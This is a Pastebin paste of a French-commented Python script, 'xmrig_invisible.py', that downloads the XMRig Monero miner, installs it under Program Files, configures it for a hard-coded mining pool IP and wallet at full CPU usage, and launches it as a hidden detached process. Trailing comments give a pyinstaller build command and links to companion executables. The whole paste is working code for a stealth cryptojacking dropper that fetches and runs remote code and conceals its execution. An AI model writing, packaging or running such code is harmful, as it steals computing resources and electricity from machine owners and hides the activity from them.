Advertisement
Thunder-Menu

xmrig_invisible.py

Nov 19th, 2023 (edited)
794
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.69 KB | Source Code | 0 0
  1. import os
  2. import zipfile
  3. import json
  4. import requests
  5. import subprocess
  6.  
  7. # Fonction pour télécharger un fichier
  8. def download_file(url, filename):
  9.     print(f"Téléchargement de {filename}...")
  10.     response = requests.get(url)
  11.     with open(filename, 'wb') as file:
  12.         file.write(response.content)
  13.     print(f"{filename} téléchargé avec succès.")
  14.  
  15. # URL du fichier à télécharger
  16. url = "https://github.com/xmrig/xmrig/releases/download/v5.8.1/xmrig-5.8.1-msvc-cuda10_1-win64.zip"
  17. filename = "xmrig-5.8.1-msvc-cuda10_1-win64.zip"
  18.  
  19. # Chemin du dossier xmrig
  20. xmrig_path = os.path.join("C:\\", "Program Files", "Common Files", "xmrig")
  21. xmrig_exe_path = os.path.join(xmrig_path, "xmrig.exe")
  22.  
  23. # Vérifier si xmrig.exe existe déjà dans le dossier
  24. if not os.path.exists(xmrig_exe_path):
  25.     # Vérifier si le dossier xmrig existe, sinon le créer
  26.     if not os.path.exists(xmrig_path):
  27.         os.makedirs(xmrig_path)
  28.  
  29.     # Téléchargement du fichier
  30.     download_file(url, filename)
  31.  
  32.     # Extraction du contenu du fichier zip directement dans le dossier xmrig
  33.     with zipfile.ZipFile(filename, 'r') as zip_ref:
  34.         zip_info = zip_ref.infolist()
  35.         common_path = os.path.commonprefix([zi.filename for zi in zip_info if not zi.is_dir()])
  36.         for file in zip_info:
  37.             if not file.is_dir() and file.filename.startswith(common_path):
  38.                 file.filename = os.path.basename(file.filename)
  39.                 zip_ref.extract(file, xmrig_path)
  40.  
  41.     # Chemin vers le fichier config.json
  42.     config_path = os.path.join(xmrig_path, "config.json")
  43.  
  44.     # Charger et modifier le fichier config.json
  45.     with open(config_path, 'r') as file:
  46.         config = json.load(file)
  47.  
  48.     # Mettre à jour les paramètres de config.json pour les pools et CPU
  49.     new_config = {
  50.         "autosave": True,
  51.         "donate-level": 1,
  52.         "donate-over-proxy": 1,
  53.         "log-file": None,
  54.         "cpu": {
  55.             "enabled": True,
  56.             "huge-pages": True,
  57.             "hw-aes": None,
  58.             "priority": None,
  59.             "asm": True,
  60.             "max-threads-hint": 100,
  61.             "max-cpu-usage": 100,
  62.             "yield": False,
  63.             "init": -1,
  64.             "*": {
  65.                 "intensity": 2,
  66.                 "threads": 1,
  67.                 "affinity": -1
  68.             }
  69.         },
  70.         "opencl": False,
  71.         "cuda": True,
  72.         "pools": [
  73.             {
  74.                 "coin": "monero",
  75.                 "algo": "cn/gpu",
  76.                 "url": "168.235.86.33:3393",
  77.                 "user": "SK_QzApkbVGsAxyQykaWSnEF.JasonAudy35",
  78.                 "pass": "x",
  79.                 "tls": False,
  80.                 "keepalive": True,
  81.                 "nicehash": False
  82.             }
  83.         ]
  84.     }
  85.  
  86.     # Mettre à jour les options du fichier config.json
  87.     for key, value in new_config.items():
  88.         config[key] = value
  89.  
  90.     # Enregistrer les modifications dans config.json
  91.     with open(config_path, 'w') as file:
  92.         json.dump(config, file, indent=4)
  93.  
  94. # Démarrer xmrig.exe dans le dossier xmrig
  95. if os.path.exists(xmrig_exe_path):
  96.     try:
  97.         DETACHED_PROCESS = 0x00000008
  98.         subprocess.Popen([xmrig_exe_path, "--no-console"], cwd=xmrig_path, creationflags=DETACHED_PROCESS, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  99.         print("XMrig démarré en mode silencieux et invisible dans une autre console.")
  100.     except Exception as e:
  101.         print(f"Erreur lors du démarrage de xmrig : {e}")
  102. else:
  103.     print("Le fichier xmrig.exe n'a pas été trouvé.")
  104.  
  105. #https://pastebin.com/jumpXUw1
  106. #https://pastebin.com/ZTFeTGpr
  107. #https://pastebin.com/5r65viYW
  108. #https://pastebin.com/GWphQhH4
  109. #https://pastebin.com/5fVeHRVS
  110. #https://autofaucet.org/dashboard/mining#command-line
  111. #pyinstaller --onefile xmrig_invisible.py
  112. #https://raw.githubusercontent.com/3xploitch3ats/Thunder-Menu/tm/xmrig_Invisible.py
  113. #https://github.com/3xploitch3ats/Thunder-Menu/raw/tm/xmrig_invisible.exe
  114. #https://github.com/3xploitch3ats/Thunder-Menu/raw/tm/xmrig_common.exe
  115. #https://raw.githubusercontent.com/3xploitch3ats/Thunder-Menu/tm/xmrig_common.py
  116. #https://github.com/3xploitch3ats/Thunder-Menu/raw/tm/xmrig_check.exe
  117. #https://raw.githubusercontent.com/3xploitch3ats/Thunder-Menu/tm/xmrig_check.py
  118. #https://github.com/3xploitch3ats/Thunder-Menu/raw/tm/xmrig_stop.exe
  119. #https://raw.githubusercontent.com/3xploitch3ats/Thunder-Menu/tm/xmrig_Stop.py
  120. #https://github.com/3xploitch3ats/Thunder-Menu/raw/tm/xmrig_unreg.exe
  121. #https://raw.githubusercontent.com/3xploitch3ats/Thunder-Menu/tm/xmrig_unreg.py
  122. #https://github.com/xmrig/xmrig/releases/tag/v5.8.1
  123. #https://github.com/xmrig/xmrig/releases/download/v5.8.1/xmrig-5.8.1-msvc-cuda10_1-win64.zip
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement